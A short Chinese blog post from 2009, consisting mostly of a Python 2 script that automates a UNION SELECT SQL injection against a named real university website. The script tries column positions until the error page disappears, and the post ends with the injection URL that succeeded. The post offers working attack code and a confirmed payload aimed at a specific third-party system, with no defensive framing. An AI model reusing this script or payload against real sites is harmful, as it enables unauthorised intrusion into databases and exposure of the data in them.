随笔 - 49  文章 - 4  trackbacks - 0
<2024年12月>
24252627282930
1234567
891011121314
15161718192021
22232425262728
2930311234

常用链接

留言簿(4)

随笔档案(49)

文章档案(2)

blog

搜索

  •  

最新评论

阅读排行榜

评论排行榜

有python脚本为证:
Python代码
  1. import urllib2   
  2. import urlparse   
  3. import httplib   
  4. from time import sleep   
  5. url = "http://sw.scu.edu.cn/new_sw/infoDetail.jsp?id=650 and 1=2  "   
  6. error = ">500 - Page Error</"   
  7.   
  8. ok = False   
  9. total = 0   
  10.   
  11. length = 17   
  12.   
  13. list = ['1','1','1','1','1',  '1','1','1','1','1',  '1','1','1','1','1',  '1' ,'1']   
  14.   
  15. li = []   
  16.   
  17. def main():   
  18.   
  19.     '''''proxy_support = urllib2.ProxyHandler({"http":"http://localhost:8000"})  
  20.     opener = urllib2.build_opener(proxy_support)  
  21.     urllib2.install_opener(opener)  
  22.     '''   
  23.     for i in range(1, length + 1):   
  24.         fun(i)   
  25.           
  26.     print total   
  27.           
  28. def fun(i):   
  29.     li = []   
  30.     for j in range(0,i):   
  31.         li.append(1)   
  32.           
  33.     recursion(li,1)   
  34.               
  35.       
  36. def execute(num):   
  37.     dateList = []   
  38.     for i in range(1,num +1):   
  39.         dateList.append(i)   
  40.       
  41.       
  42.     place(dateList)   
  43.     print dateList      
  44.   
  45. def place(dateList):   
  46.     num = dateList.__len__()   
  47.   
  48.     for i in range(1, num +1 ):   
  49.         move = dateList[num - i]   
  50.           
  51.           
  52. def recursion(li, p):   
  53.     len = li.__len__()   
  54.     if p > len:   
  55.           
  56.         proof(li)   
  57.         return   
  58.     if ok == True:   
  59.         return   
  60.       
  61.     for i in range(li[p -1 ], length -len + p +1 ):   
  62.         li[p-1] = i   
  63.           
  64.         for j in range(p, len):   
  65.             li[j] = li[j-1] + 1;   
  66.   
  67.         if ok == True:  
  68.             return   
  69.         recursion(li, p+1)   
  70.           
  71.           
  72. def proof(li):   
  73.       
  74.     len = li.__len__()   
  75.     for i in range(0, len):   
  76.         list[li[i] - 1] = 'now()'   
  77.           
  78.     try_assembly(list)   
  79.     clean()   
  80.   
  81. def try_assembly(list):   
  82.       
  83.     global  total   
  84.     global  url   
  85.     total = total + 1   
  86.     sql = " union select "   
  87.       
  88.     for i in range(0, length):   
  89.           
  90.         sql = sql + "'" + list[i] +"',";   
  91.       
  92.     sql = sql +'--'      
  93.     sql = sql.replace(",--"" -- ")   
  94.     sql = sql.replace("'now()'","now()")   
  95.       
  96.     u = url + sql  
  97.     print sql  
  98.     parser(u)   
  99.   
  100. def clean():   
  101.     global  list   
  102.     list = []   
  103.     for i in range(0, length):   
  104.         list.append('1')   
  105.   
  106. def parser(path):   
  107.     global ok   
  108.     print path   
  109.     conn = urllib2.urlopen(path.replace(" ""%20"))   
  110.       
  111.     data =  conn.read()   
  112.       
  113.     if data.split('title')[1] == error:   
  114.           
  115.         return False   
  116.     else:   
  117.         ok = True   
  118.         print 'ok'+ path   
  119.         return True  
  120.   
  121. if __name__ == '__main__':  
  122.     main()  


有结果为证:

http://sw.scu.edu.cn/new_sw/infoDetail.jsp?id=650 and 1=2   union select '1','1','1','title',now(),'conten','key','1','1','1','1','1','1','1','1','1','1' --
posted on 2009-04-29 17:47 小丑鱼 阅读(66) 评论(0)  编辑  收藏

只有注册用户登录后才能发表评论。


网站导航: